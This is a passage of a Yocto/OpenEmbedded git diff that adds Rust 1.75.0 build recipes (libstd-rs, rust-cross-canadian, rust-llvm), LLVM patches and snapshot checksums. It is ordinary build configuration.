/examples/README.examples":"1bc1c677bbebe1aa5e85015bb62f0cf3fcdbf95652d30494159bee6166c1854a","src/zlib/examples/enough.c":"c14a257c60bbe0d65bb54746dd97774a1853ef9e3f78db118a27d8bc0d26d738","src/zlib/examples/fitblk.c":"fd8aaaefd5eb3d9fc388bdc5b715d1c6993ecc9367f5432d3b120a0278904edc","src/zlib/examples/gun.c":"3bfd36b06284ba97d6105b8a6a5d18b2b34b75b3a1285f16d018680fb174915f","src/zlib/examples/gzappend.c":"6de91c8305e37560117bff44136abff72b16b028c0bda0bbac7ea07e4988b0ce","src/zlib/examples/gzjoin.c":"90b9d6c39a5fc91cf1cc9b96b025a508a8015dc502cd9374c754b44078593f57","src/zlib/examples/gzlog.c":"196872021c96099fd30c880ac2cccd1350fdbd81179731f3914153a26ebf72e9","src/zlib/examples/gzlog.h":"681f280437f867820bf39880e2f4fc641d402879e399ba2e6a31d73feefe8edc","src/zlib/examples/gznorm.c":"e5a8f5c3b107f27212f7d5fbfcf072a337a1b4ea32929ae31c168997438a5cc0","src/zlib/examples/zlib_how.html":"80fb647be8450bd7a07d8495244e1f061dfbdbdb53172ca24e7ffff8ace9c72f","src/zlib/examples/zpipe.c":"68140a82582ede938159630bca0fb13a93b4bf1cb2e85b08943c26242cf8f3a6","src/zlib/examples/zran.c":"10f9568b1f54cdb7474a38c5bc479aa0edb07a0eed2e999bdad4c521f6b25330","src/zlib/examples/zran.h":"9a0d4c15f898c43deae2c5e98a5c66c637a1b25573d662fe91a789c386eaf971","src/zlib/gzclose.c":"94446cf8cde67c30e64d0a335b0c941fd3fbad2e77f30180d12e61f9c2a5a6b8","src/zlib/gzguts.h":"40d57fbcef5d4d849e416e03b680026b18302e4b0da5907a96a012d7ced91b8c","src/zlib/gzlib.c":"635b7b6df79a5ce6e0f951669e4c82704d7972d8afb87278b9155c2cb4c5066f","src/zlib/gzread.c":"41c69d43fb3974bae58d9169aea3514221f70dc77bb7a35c79626dd3be01adf2","src/zlib/gzwrite.c":"c7454689751c8f41ec63a1381a0053fb149095abe1c3b89c8a996b2d7ac8adce","src/zlib/infback.c":"6a6cfe3d7e239d590692bc2664ac58d3ef92be30ff4cb3c6dbf5deed28f79eb5","src/zlib/inffast.c":"41d93aefdbfee5455809130af74fcc76cf7259b1aa8b34d0060d14e57463e8bb","src/zlib/inffast.h":"7d8c1c873ce9bc346ad6005bb9d75cce5c6352aaf7395385be216a9452a34908","src/zlib/inffixed.h":"237ba710f090e432b62ebf963bee8b302867e9691406b2d3f8ee89ee7bfef9b0","src/zlib/inflate.c":"f1679575fef1717d908dd09d7bfe8fff89c21941cadd7c255a2ccccfba3a287e","src/zlib/inflate.h":"e8d4a51b07694bf48cb91979c19974cf6a5ab0b8a09d26ec0d14df349230673e","src/zlib/inftrees.c":"b9db40bbb68b63dccbcdfa78d687751e33178af8669f1c1236309cfd5d2edc0e","src/zlib/inftrees.h":"44084a93673386db6282dcb61d739c84518e10dff66d1c6850715137c827464c","src/zlib/make_vms.com":"14ed54bdd391c1648cedfb69d8a73a26dcc7f1187d59b0f18d944b7665cec85b","src/zlib/msdos/Makefile.bor":"292ab363f7ffbc4ae84d37cd9bdffd2dac1003bee52d223a8489844870f20702","src/zlib/msdos/Makefile.dj2":"9208450c2ae6dcbfcc25560b5b9ca763f461e7246e37b0552474edf8fa898906","src/zlib/msdos/Makefile.emx":"c749d6ec7f88e8e639d4f03bdbdcbbe9d1c304210be4c4be621ceb22961d3d64","src/zlib/msdos/Makefile.msc":"0e021a6f42212415b060e4ad468eb415d0a8c1f343137fb9dff2cb8f9ead3027","src/zlib/msdos/Makefile.tc":"2ae12ee2a3e62f7c5a0520d0fbe4adee772bc07fe816002b07ccb43db3daa76a","src/zlib/nintendods/Makefile":"ea5823efe6830132294eddf2f56dbd7db8712244c210bb4968c431b1a91bd066","src/zlib/nintendods/README":"e362426c47b39ff6a7d6c75c6660b20abf076cdfa5e1e421716dc629a71aef95","src/zlib/old/Makefile.emx":"d811f032272aae50123a889297af3a02fbd60d1e42bbef11466462f627ff7b5b","src/zlib/old/Makefile.riscos":"d1a488b160fbfd53272b68a913283a4be08ba9d490796b196dddb2ba535b41e0","src/zlib/old/README":"551a0f4d91fe0f827a31cbdfbb4a71d1f3dc4d06564d80a3f526b749dd104d11","src/zlib/old/descrip.mms":"8ff08c35c056df9c986f23c09cf8936db63ccf12c3c42f7d18a48b36f060cff7","src/zlib/old/os2/Makefile.os2":"6ad247c00f00ff42fd2d62555e86251cef06e4079378241b5f320c227507d51d","src/zlib/old/os2/zlib.def":"ea9c61876d2e20b67ef2d9495991a32798eb40d13ede95859a2f4f03b65b9b61","src/zlib/old/visual-basic.txt":"1727650acbde9a9e6aec9438896377e46a12699cca5d46c5399cef524dedc614","src/zlib/os400/README400":"5eb702a0dd460e2bea59ee83014c3f975e892057850c639f793bb740044a38ba","src/zlib/os400/bndsrc":"3c36a17975eed5a8d33bc5443b39fead1e68c01393496be9c1f4a61444bcb0f6","src/zlib/os400/make.sh":"143394d1e3876c61c29078c0e47310e726e1f5bd42739fe92df9ece65711655f","src/zlib/os400/zlib.inc":"dede38961ae2e7a2590343bf1ff558c6f51e46714dec33f2d11d8c34899b3875","src/zlib/qnx/package.qpg":"d521336be75bdd145281c6d166241905751ec97093ecd6fec97a313f631ac0e1","src/zlib/test/example.c":"64ae90d60b40a8aec4700e5c4e7a71898ebb92948b7a07f939b3e763cb3e8b35","src/zlib/test/infcover.c":"f654f3fcc74b33bd95cda63d13fe0ce589bcfe965544e0c17ee597d75efbd090","src/zlib/test/minigzip.c":"f9777d1e8b337573e12daa8091dcf22e88a9b155fc0acad15b8224c377bfe027","src/zlib/treebuild.xml":"89b50165782643554a38d5c58c203d9648b540e5a455531dcb58b5676a019955","src/zlib/trees.c":"b338f1ec9038bd77efc09c8fdb99ef27b5db5b3da9baa301e544adc8e3b6a662","src/zlib/trees.h":"bb0a9d3ca88ee00c81adb7c636e73b97085f6ef1b52d6d58edbe2b6dc3adeb4d","src/zlib/uncompr.c":"7b3d8ca0f10ef7c74044c3172ca8f9f50389cd0f270ee4517f438e7e06be5623","src/zlib/watcom/watcom_f.mak":"7e039b912f9cffaa40835281430bb284fa9042b0a0d12f6b34700a06bca6576e","src/zlib/watcom/watcom_l.mak":"d11b4064604a034725860e63e3f6d347056372e4b1675b183e20a93533b20cc9","src/zlib/win32/DLL_FAQ.txt":"9e00778319381e6275691dd3a89410c99065b8c0c5db96473abe8c859cbdefd8","src/zlib/win32/Makefile.bor":"7d73a0d2c3e38b7c610bbc9c22f683a4fe1ab9b8b65649a3a8ac4ff7fcc14ba6","src/zlib/win32/Makefile.gcc":"97140c30506a8f6b2edb6b3d8a1b6b539d7929d4b957deba9950301090f579bf","src/zlib/win32/Makefile.msc":"235529bd529d4690d5d4b7871fdd0a1f118f2fe18862cbdec5f5ac674c55a60d","src/zlib/win32/README-WIN32.txt":"f414b3702f8d3bf1de42e0f41604bd78c44e537aae16b6107e3cdaa5759caa16","src/zlib/win32/VisualC.txt":"9ec0babd46eaa012371dee2d3a8a55d9c7130f7895512c3371c737e4a7f6a997","src/zlib/win32/zlib.def":"c00693a5c825f8bfbdb68124fd03cb2fa5269338071147bdaa14434aaf3962b9","src/zlib/win32/zlib1.rc":"54e161029b59e99a4f9cb2281b956f00ecfb1814318ddef9c741ff4f832c5c1d","src/zlib/zconf.h":"80e0a31a4c0e6f20d1bad0df99271b9d535aa9f7c4e62f1a54f643adb4c6dfa2","src/zlib/zconf.h.cmakein":"bb12900d39488e6a9ed67ebd7cf5599f3ced8937b7077d4d5001e470c7a1392e","src/zlib/zconf.h.in":"80e0a31a4c0e6f20d1bad0df99271b9d535aa9f7c4e62f1a54f643adb4c6dfa2","src/zlib/zlib.3":"aefd0162070fcb0379dc18e27b039253cd98c148104c1097dd60e0d0b435e564","src/zlib/zlib.3.pdf":"91343dffd2876dcf4af567f299ce99872b066232451093d6d12e02e4654873d8","src/zlib/zlib.h":"a980a0d104198a53cc220c51ab5856e5be901bec8a2d02e0ee79a8754219dfed","src/zlib/zlib.map":"33e2a7c4defd6222945bb0f7191b6380afb4f518e804af86a44aad4a9090bf9e","src/zlib/zlib.pc.cmakein":"2f1d0b18ce37c2af415a469857f02aee2c41a58877aff21d29e9c6db32b55cb7","src/zlib/zlib.pc.in":"04c01cc2e1a0ed123518b5855f585c93a24526dd88982c414111ea1fc9f07997","src/zlib/zlib2ansi":"b3f9c88abbdf16143e5d5110e44fff198bcda9ee1358e036c8d445e9d0cbce85","src/zlib/zutil.c":"8108af451ad14271065844736ac7c436275b92826c319318070508d769371428","src/zlib/zutil.h":"cf94d865e3a9162c0571cba7f74c8f01efbdca26b981d6cc9c545d4c3991e3c2"},"package":"56ee889ecc9568871456d42f603d6a0ce59ff328d291063a45cbdf0036baf6db"}
+\ No newline at end of file
diff --git a/meta/recipes-devtools/rust/libstd-rs_1.75.0.bb b/meta/recipes-devtools/rust/libstd-rs_1.75.0.bb
new file mode 100644
index 0000000000..d2bf266f9d
--- /dev/null
+++ b/meta/recipes-devtools/rust/libstd-rs_1.75.0.bb
@@ -0,0 +1,53 @@
+SUMMARY = "Rust standard libaries"
+HOMEPAGE = "http://www.rust-lang.org"
+SECTION = "devel"
+LICENSE = "(MIT | Apache-2.0) & Unicode-TOU"
+LIC_FILES_CHKSUM = "file://../../COPYRIGHT;md5=c2cccf560306876da3913d79062a54b9"
+
+require rust-source.inc
+
+# The dummy crate named `sysroot` represents the standard library target.
+#
+# See fd4c81f4c19e ("Add a `sysroot` crate to represent the standard library crates")
+# https://github.com/rust-lang/rust/pull/108865/
+S = "${RUSTSRC}/library/sysroot"
+
+RUSTLIB_DEP = ""
+inherit cargo
+
+DEPENDS:append:libc-musl = " libunwind"
+# rv32 does not have libunwind ported yet
+DEPENDS:remove:riscv32 = "libunwind"
+DEPENDS:remove:riscv64 = "libunwind"
+
+# Embed bitcode in order to allow compiling both with and without LTO
+RUSTFLAGS += "-Cembed-bitcode=yes"
+# Needed so cargo can find libbacktrace
+RUSTFLAGS += "-L ${STAGING_LIBDIR} -C link-arg=-Wl,-soname,libstd.so"
+
+CARGO_FEATURES ?= "panic-unwind backtrace"
+CARGO_BUILD_FLAGS += "--features '${CARGO_FEATURES}'"
+CARGO_VENDORING_DIRECTORY = "${RUSTSRC}/vendor"
+
+do_compile:prepend () {
+ export CARGO_TARGET_DIR="${B}"
+ # For Rust 1.13.0 and newer
+ export RUSTC_BOOTSTRAP="1"
+}
+
+do_install () {
+ mkdir -p ${D}${rustlibdir}
+
+ # With the incremental build support added in 1.24, the libstd deps directory also includes dependency
+ # files that get installed. Those are really only needed to incrementally rebuild the libstd library
+ # itself and don't need to be installed.
+ rm -f ${B}/${RUST_TARGET_SYS}/${BUILD_DIR}/deps/*.d
+ cp ${B}/${RUST_TARGET_SYS}/${BUILD_DIR}/deps/* ${D}${rustlibdir}
+}
+
+BBCLASSEXTEND = "nativesdk"
+
+# Since 1.70.0 upgrade this fails to build with gold:
+# http://errors.yoctoproject.org/Errors/Details/708194/
+# ld: error: version script assignment of to symbol __rust_alloc_error_handler_should_panic failed: symbol not defined
+LDFLAGS:append = "${@bb.utils.contains('DISTRO_FEATURES', 'ld-is-gold', ' -fuse-ld=bfd', '', d)}"
diff --git a/meta/recipes-devtools/rust/rust-cross-canadian.inc b/meta/recipes-devtools/rust/rust-cross-canadian.inc
new file mode 100644
index 0000000000..7bfef6d175
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-cross-canadian.inc
@@ -0,0 +1,91 @@
+SUMMARY = "Rust compiler and runtime libaries (cross-canadian for ${TARGET_ARCH} target)"
+PN = "rust-cross-canadian-${TRANSLATED_TARGET_ARCH}"
+
+inherit rust-target-config
+inherit rust-common
+
+LICENSE = "MIT"
+
+MODIFYTOS = "0"
+
+DEPENDS += "virtual/${SDK_PREFIX}gcc virtual/nativesdk-libc virtual/nativesdk-${SDK_PREFIX}compilerlibs"
+
+SRC_URI += "file://target-rust-ccld.c"
+LIC_FILES_CHKSUM = "file://target-rust-ccld.c;md5=af4e0e29f81a34cffe05aa07c89e93e9;endline=7"
+S = "${WORKDIR}"
+
+# Need to use our SDK's sh here, see #14878
+create_sdk_wrapper () {
+ file="$1"
+ shift
+ cat <<- EOF > "${file}"
+ #!/bin/sh
+ \$$1 \$@
+ EOF
+
+ chmod +x "$file"
+}
+
+do_install () {
+ # Rust requires /usr/lib to contain the libs.
+ # The required structure is retained for simplicity.
+ SYS_LIBDIR=$(dirname ${D}${libdir})
+ SYS_BINDIR=$(dirname ${D}${bindir})
+ RUSTLIB_DIR=${SYS_LIBDIR}/${TARGET_SYS}/rustlib
+
+ install -d ${RUSTLIB_DIR}
+ install -m 0644 "${RUST_TARGETS_DIR}/${RUST_HOST_SYS}.json" "${RUSTLIB_DIR}"
+ install -m 0644 "${RUST_TARGETS_DIR}/${RUST_TARGET_SYS}.json" "${RUSTLIB_DIR}"
+
+ # Uses SDK's CC as linker so linked binaries works out of box.
+ # We have a problem as rust sets LD_LIBRARY_PATH and this will break running host
+ # binaries (even /bin/sh) in the SDK as they detect a newer glibc from the SDK
+ # in those paths and we hit symbol errors. We saw particular problems with symbol
+ # mismatch on ubuntu1804 during development. To avoid this we have an SDK built
+ # binary which unsets LD_LIBRARY_PATH, which can then call the wrapper script
+ # where the context is easier to do the env maniupations needed
+ install -d ${SYS_BINDIR}
+ outfile="${SYS_BINDIR}/target-rust-ccld"
+ ${CC} ${WORKDIR}/target-rust-ccld.c -o $outfile
+ chmod +x "$outfile"
+ create_sdk_wrapper "${SYS_BINDIR}/target-rust-ccld-wrapper" "CC"
+
+ ENV_SETUP_DIR=${D}${base_prefix}/environment-setup.d
+ mkdir "${ENV_SETUP_DIR}"
+ RUST_ENV_SETUP_SH="${ENV_SETUP_DIR}/rust.sh"
+
+ RUST_TARGET_TRIPLE=`echo ${RUST_TARGET_SYS} | tr '[:lower:]' '[:upper:]' | sed 's/-/_/g'`
+ RUST_HOST_TRIPLE=`echo ${RUST_HOST_SYS} | tr '[:lower:]' '[:upper:]' | sed 's/-/_/g'`
+ SDKLOADER=${@bb.utils.contains('SDK_ARCH', 'x86_64', 'ld-linux-x86-64.so.2', '', d)}${@bb.utils.contains('SDK_ARCH', 'i686', 'ld-linux.so.2', '', d)}${@bb.utils.contains('SDK_ARCH', 'aarch64', 'ld-linux-aarch64.so.1', '', d)}${@bb.utils.contains('SDK_ARCH', 'ppc64le', 'ld64.so.2', '', d)}${@bb.utils.contains('SDK_ARCH', 'riscv64', 'ld-linux-riscv64-lp64d.so.1', '', d)}
+
+ cat <<- EOF > "${RUST_ENV_SETUP_SH}"
+ export CARGO_TARGET_${RUST_TARGET_TRIPLE}_RUSTFLAGS="--sysroot=\$OECORE_TARGET_SYSROOT/usr -C link-arg=--sysroot=\$OECORE_TARGET_SYSROOT"
+ export CARGO_TARGET_${RUST_HOST_TRIPLE}_RUNNER="\$OECORE_NATIVE_SYSROOT/lib/${SDKLOADER}"
+ export RUST_TARGET_PATH="\$OECORE_NATIVE_SYSROOT/usr/lib/${TARGET_SYS}/rustlib"
+ EOF
+
+ chown -R root.root ${D}
+
+ CARGO_ENV_SETUP_SH="${ENV_SETUP_DIR}/cargo.sh"
+ cat <<- EOF > "${CARGO_ENV_SETUP_SH}"
+ export CARGO_HOME="\$OECORE_TARGET_SYSROOT/home/cargo"
+ mkdir -p "\$CARGO_HOME"
+ # Init the default target once, it might be otherwise user modified.
+ if [ ! -f "\$CARGO_HOME/config" ]; then
+ touch "\$CARGO_HOME/config"
+ echo "[build]" >> "\$CARGO_HOME/config"
+ echo 'target = "'${RUST_TARGET_SYS}'"' >> "\$CARGO_HOME/config"
+ echo '# TARGET_SYS' >> "\$CARGO_HOME/config"
+ echo '[target.'${RUST_TARGET_SYS}']' >> "\$CARGO_HOME/config"
+ echo 'linker = "target-rust-ccld"' >> "\$CARGO_HOME/config"
+ fi
+
+ # Keep the below off as long as HTTP/2 is disabled.
+ export CARGO_HTTP_MULTIPLEXING=false
+
+ export CARGO_HTTP_CAINFO="\$OECORE_NATIVE_SYSROOT/etc/ssl/certs/ca-certificates.crt"
+ EOF
+}
+
+FILES:${PN} += "${base_prefix}/environment-setup.d"
+
diff --git a/meta/recipes-devtools/rust/rust-cross-canadian_1.75.0.bb b/meta/recipes-devtools/rust/rust-cross-canadian_1.75.0.bb
new file mode 100644
index 0000000000..55865238ab
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-cross-canadian_1.75.0.bb
@@ -0,0 +1,2 @@
+inherit cross-canadian
+require rust-cross-canadian.inc \ No newline at end of file
diff --git a/meta/recipes-devtools/rust/rust-llvm/0001-AsmMatcherEmitter-sort-ClassInfo-lists-by-name-as-we.patch b/meta/recipes-devtools/rust/rust-llvm/0001-AsmMatcherEmitter-sort-ClassInfo-lists-by-name-as-we.patch
new file mode 100644
index 0000000000..48af6fc283
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-llvm/0001-AsmMatcherEmitter-sort-ClassInfo-lists-by-name-as-we.patch
@@ -0,0 +1,31 @@
+From 86940d87026432683fb6741cd8a34d3b9b18e40d Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Fri, 27 Nov 2020 10:11:08 +0000
+Subject: [PATCH] AsmMatcherEmitter: sort ClassInfo lists by name as well
+
+Otherwise, there are instances which are identical in
+every other field and therefore sort non-reproducibly
+(which breaks binary and source reproducibiliy).
+
+Upstream-Status: Submitted [https://reviews.llvm.org/D97477]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ llvm/utils/TableGen/AsmMatcherEmitter.cpp | 5 ++++-
+ 1 file changed, 4 insertions(+), 1 deletion(-)
+
+diff --git a/llvm/utils/TableGen/AsmMatcherEmitter.cpp b/llvm/utils/TableGen/AsmMatcherEmitter.cpp
+index ccf0959389b..1f801e83b7d 100644
+--- a/llvm/utils/TableGen/AsmMatcherEmitter.cpp
++++ b/llvm/utils/TableGen/AsmMatcherEmitter.cpp
+@@ -359,7 +359,10 @@ public:
+ // name of a class shouldn't be significant. However, some of the backends
+ // accidentally rely on this behaviour, so it will have to stay like this
+ // until they are fixed.
+- return ValueName < RHS.ValueName;
++ if (ValueName != RHS.ValueName)
++ return ValueName < RHS.ValueName;
++ // All else being equal, we should sort by name, for source and binary reproducibility
++ return Name < RHS.Name;
+ }
+ };
+
diff --git a/meta/recipes-devtools/rust/rust-llvm/0002-llvm-allow-env-override-of-exe-path.patch b/meta/recipes-devtools/rust/rust-llvm/0002-llvm-allow-env-override-of-exe-path.patch
new file mode 100644
index 0000000000..9be26677a9
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-llvm/0002-llvm-allow-env-override-of-exe-path.patch
@@ -0,0 +1,33 @@
+From 7111770e8290082530d920e120995bf81431b0aa Mon Sep 17 00:00:00 2001
+From: Martin Kelly <mkelly@xevo.com>
+Date: Fri, 19 May 2017 00:22:57 -0700
+Subject: [PATCH 12/18] llvm: allow env override of exe path
+
+When using a native llvm-config from inside a sysroot, we need llvm-config to
+return the libraries, include directories, etc. from inside the sysroot rather
+than from the native sysroot. Thus provide an env override for calling
+llvm-config from a target sysroot.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Martin Kelly <mkelly@xevo.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ llvm/tools/llvm-config/llvm-config.cpp | 7 +++++++
+ 1 file changed, 7 insertions(+)
+
+--- a/llvm/tools/llvm-config/llvm-config.cpp
++++ b/llvm/tools/llvm-config/llvm-config.cpp
+@@ -226,6 +226,13 @@ Typical components:\n\
+
+ /// Compute the path to the main executable.
+ std::string GetExecutablePath(const char *Argv0) {
++ // Hack for Yocto: we need to override the root path when we are using
++ // llvm-config from within a target sysroot.
++ const char *Sysroot = std::getenv("YOCTO_ALTERNATE_EXE_PATH");
++ if (Sysroot != nullptr) {
++ return Sysroot;
++ }
++
+ // This just needs to be some symbol in the binary; C++ doesn't
+ // allow taking the address of ::main however.
+ void *P = (void *)(intptr_t)GetExecutablePath;
diff --git a/meta/recipes-devtools/rust/rust-llvm/0003-llvm-fix-include-benchmarks.patch b/meta/recipes-devtools/rust/rust-llvm/0003-llvm-fix-include-benchmarks.patch
new file mode 100644
index 0000000000..ff31c0bc32
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-llvm/0003-llvm-fix-include-benchmarks.patch
@@ -0,0 +1,25 @@
+Subject: LLVM_INCLUDE_BENCHMARKS with llvm 14.0.1 failing to build
+
+https://github.com/llvm/llvm-project/issues/54941
+
+The LLVM_INCLUDE_BENCHMARKS is turned OFF to fix the build error as
+per the discussions in the above link. We will work on the issue and
+replace the workaround with actual fix once committed in LLVM.
+
+Please refer the following link for more discussions on the issue:-
+https://github.com/rust-lang/rust/issues/96054
+
+Upstream-Status: Pending
+Signed-off-by: Pgowda <pgowda.cve@gmail.com>
+
+--- a/llvm/CMakeLists.txt 2022-04-22 00:45:30.543445478 -0700
++++ b/llvm/CMakeLists.txt 2022-04-22 00:45:42.095232974 -0700
+@@ -615,7 +615,7 @@ option(LLVM_INCLUDE_GO_TESTS "Include th
+
+ option(LLVM_BUILD_BENCHMARKS "Add LLVM benchmark targets to the list of default
+ targets. If OFF, benchmarks still could be built using Benchmarks target." OFF)
+-option(LLVM_INCLUDE_BENCHMARKS "Generate benchmark targets. If OFF, benchmarks can't be built." ON)
++option(LLVM_INCLUDE_BENCHMARKS "Generate benchmark targets. If OFF, benchmarks can't be built." OFF)
+
+ option (LLVM_BUILD_DOCS "Build the llvm documentation." OFF)
+ option (LLVM_INCLUDE_DOCS "Generate build targets for llvm documentation." ON)
diff --git a/meta/recipes-devtools/rust/rust-llvm_1.75.0.bb b/meta/recipes-devtools/rust/rust-llvm_1.75.0.bb
new file mode 100644
index 0000000000..13bdadb5e7
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-llvm_1.75.0.bb
@@ -0,0 +1,94 @@
+SUMMARY = "LLVM compiler framework (packaged with rust)"
+LICENSE ?= "Apache-2.0-with-LLVM-exception"
+HOMEPAGE = "http://www.rust-lang.org"
+
+# check src/llvm-project/llvm/CMakeLists.txt for llvm version in use
+#
+LLVM_RELEASE = "17.0.6"
+
+require rust-source.inc
+
+SRC_URI += "file://0002-llvm-allow-env-override-of-exe-path.patch;striplevel=2 \
+ file://0001-AsmMatcherEmitter-sort-ClassInfo-lists-by-name-as-we.patch;striplevel=2 \
+ file://0003-llvm-fix-include-benchmarks.patch;striplevel=2"
+
+S = "${RUSTSRC}/src/llvm-project/llvm"
+
+LIC_FILES_CHKSUM = "file://LICENSE.TXT;md5=8a15a0759ef07f2682d2ba4b893c9afe"
+
+inherit cmake
+
+DEPENDS += "ninja-native rust-llvm-native"
+
+ARM_INSTRUCTION_SET:armv5 = "arm"
+ARM_INSTRUCTION_SET:armv4t = "arm"
+
+# rustc_llvm with debug info is not recognized as a valid crate that's
+# generated by rust-llvm-native.
+CFLAGS:remove = "-g"
+CXXFLAGS:remove = "-g"
+
+LLVM_DIR = "llvm${LLVM_RELEASE}"
+
+RUST_LLVM_TARGETS ?= "ARM;AArch64;Mips;PowerPC;RISCV;X86"
+
+EXTRA_OECMAKE = " \
+ -DCMAKE_BUILD_TYPE=Release \
+ -DLLVM_TARGETS_TO_BUILD='${RUST_LLVM_TARGETS}' \
+ -DLLVM_BUILD_DOCS=OFF \
+ -DLLVM_ENABLE_TERMINFO=OFF \
+ -DLLVM_ENABLE_ZLIB=OFF \
+ -DLLVM_ENABLE_ZSTD=OFF \
+ -DLLVM_ENABLE_LIBXML2=OFF \
+ -DLLVM_ENABLE_FFI=OFF \
+ -DLLVM_INSTALL_UTILS=ON \
+ -DLLVM_BUILD_EXAMPLES=OFF \
+ -DLLVM_INCLUDE_EXAMPLES=OFF \
+ -DLLVM_BUILD_TESTS=OFF \
+ -DLLVM_INCLUDE_TESTS=OFF \
+ -DLLVM_TARGET_ARCH=${TARGET_ARCH} \
+ -DCMAKE_INSTALL_PREFIX:PATH=${libdir}/llvm-rust \
+"
+
+# Forcibly disable the detection of these packages as otherwise
+# it will look at the host Python install
+EXTRA_OECMAKE += "\
+ -DPY_PYGMENTS_FOUND=OFF \
+ -DPY_PYGMENTS_LEXERS_C_CPP_FOUND=OFF \
+ -DPY_YAML_FOUND=OFF \
+"
+
+EXTRA_OECMAKE:append:class-target = "\
+ -DLLVM_BUILD_TOOLS=OFF \
+ -DLLVM_TABLEGEN=${STAGING_LIBDIR_NATIVE}/llvm-rust/bin/llvm-tblgen \
+ -DLLVM_CONFIG_PATH=${STAGING_LIBDIR_NATIVE}/llvm-rust/bin/llvm-config \
+"
+
+EXTRA_OECMAKE:append:class-nativesdk = "\
+ -DLLVM_BUILD_TOOLS=OFF \
+ -DLLVM_TABLEGEN=${STAGING_LIBDIR_NATIVE}/llvm-rust/bin/llvm-tblgen \
+ -DLLVM_CONFIG_PATH=${STAGING_LIBDIR_NATIVE}/llvm-rust/bin/llvm-config \
+"
+
+# The debug symbols are huge here (>2GB) so suppress them since they
+# provide almost no value. If you really need them then override this
+INHIBIT_PACKAGE_DEBUG_SPLIT = "1"
+
+export YOCTO_ALTERNATE_EXE_PATH = "${STAGING_LIBDIR}/llvm-rust/bin/llvm-config"
+
+do_install:append () {
+ # we don't need any of this stuff to build Rust
+ rm -rf "${D}/usr/lib/cmake"
+}
+
+PACKAGES =+ "${PN}-bugpointpasses ${PN}-llvmhello ${PN}-liblto"
+
+# Add the extra locations to avoid the complaints about unpackaged files
+FILES:${PN}-bugpointpasses = "${libdir}/llvm-rust/lib/BugpointPasses.so"
+FILES:${PN}-llvmhello = "${libdir}/llvm-rust/lib/LLVMHello.so"
+FILES:${PN}-liblto = "${libdir}/llvm-rust/lib/libLTO.so.*"
+FILES:${PN}-staticdev =+ "${libdir}/llvm-rust/*/*.a"
+FILES:${PN} += "${libdir}/libLLVM*.so.* ${libdir}/llvm-rust/lib/*.so.* ${libdir}/llvm-rust/bin"
+FILES:${PN}-dev += "${datadir}/llvm ${libdir}/llvm-rust/lib/*.so ${libdir}/llvm-rust/include ${libdir}/llvm-rust/share ${libdir}/llvm-rust/lib/cmake"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/rust/rust-snapshot.inc b/meta/recipes-devtools/rust/rust-snapshot.inc
new file mode 100644
index 0000000000..a52cb30c48
--- /dev/null
+++ b/meta/recipes-devtools/rust/rust-snapshot.inc
@@ -0,0 +1,58 @@
+## This is information on the rust-snapshot (binary) used to build our current release.
+## snapshot info is taken from rust/src/stage0.json
+## Rust is self-hosting and bootstraps itself with a pre-built previous version of itself.
+## The exact (previous) version that has been used is specified in the source tarball.
+## The version is replicated here.
+
+SNAPSHOT_VERSION = "1.74.0"
+
+SRC_URI[cargo-snapshot-aarch64.sha256sum] = "a18dc9132cf76ccba90bcbb53b56a4d37ebfb34845f61e79f7b5d4710a269647"
+SRC_URI[rust-std-snapshot-aarch64.sha256sum] = "c5ad01692bc08ce6f4db2ac815be63498b45013380c71f22b3d33bf3be767270"
+SRC_URI[rustc-snapshot-aarch64.sha256sum] = "a49bb365481913ead305658e7e9dc621da7895036b840fb57b1bc85c721d07e6"
+
+SRC_URI[cargo-snapshot-i686.sha256sum] = "9f5b5226a69f95950a381ec5bb15dde7a90865a6df8aa0b470082a40d42d9f38"
+SRC_URI[rust-std-snapshot-i686.sha256sum] = "69757b72def9c433753e8bb575c817fc1ba389cf1a9c25276db1491ec025e495"
+SRC_URI[rustc-snapshot-i686.sha256sum] = "7a2bc1bf7e51942d32e82f461eacebe7f929c3eec210dcb7dc6624efd997d7da"
+
+SRC_URI[cargo-snapshot-loongarch64.sha256sum] = "77d6d55122150d8fc56d31fb166fd1b2ae48bff7376459c1b0030727fc604998"
+SRC_URI[rust-std-snapshot-loongarch64.sha256sum] = "13b85a882e912d0d8b3228feb5c263d34ec353d483c9defbd3e6bba38935553b"
+SRC_URI[rustc-snapshot-loongarch64.sha256sum] = "703e8c81f9ca3100fc459db92fd5899de62cf77393f334f98159cd97feb11633"
+
+SRC_URI[cargo-snapshot-powerpc.sha256sum] = "08ea8a345839f34d26f21b94ed6d458e6a38513999f7ddc05175c371983e6deb"
+SRC_URI[rust-std-snapshot-powerpc.sha256sum] = "458ee056fbeccf1cf96c20506654e5e9104c4e8f23d46cd4bb9b97ff5b3f4d55"
+SRC_URI[rustc-snapshot-powerpc.sha256sum] = "d4095cbe26ec197274dae9409e68843653e8c08c0b79e8cd74e72d9907e99816"
+
+SRC_URI[cargo-snapshot-powerpc64.sha256sum] = "696863642318f139634e6856f5e946ea970318ce79d4d9b1595871a70a662a89"
+SRC_URI[rust-std-snapshot-powerpc64.sha256sum] = "7ec56629b7d887753ce3a895fb73b77d2d395acac30207c2b69237ef63279872"
+SRC_URI[rustc-snapshot-powerpc64.sha256sum] = "ca162463db262df9d646687386a1c19f15c8ca9bf1f29eea94f2a8a6d7a6102d"
+
+SRC_URI[cargo-snapshot-powerpc64le.sha256sum] = "2eccd404aabe5137a8e45b6173c27d08862a0e674d5866be71aff1434f271d50"
+SRC_URI[rust-std-snapshot-powerpc64le.sha256sum] = "785956d68855de18546c87d6d06cd2505cb8a10edba84327bf2b448420a31d55"
+SRC_URI[rustc-snapshot-powerpc64le.sha256sum] = "8727b1a92e88ac1ce05198ee185dac86553edd7f50b726781c9ab64544b59809"
+
+SRC_URI[cargo-snapshot-riscv64gc.sha256sum] = "5b224e465e006b5fe959ad64d0df0540c4318ba4e39edd89794d520eef60b026"
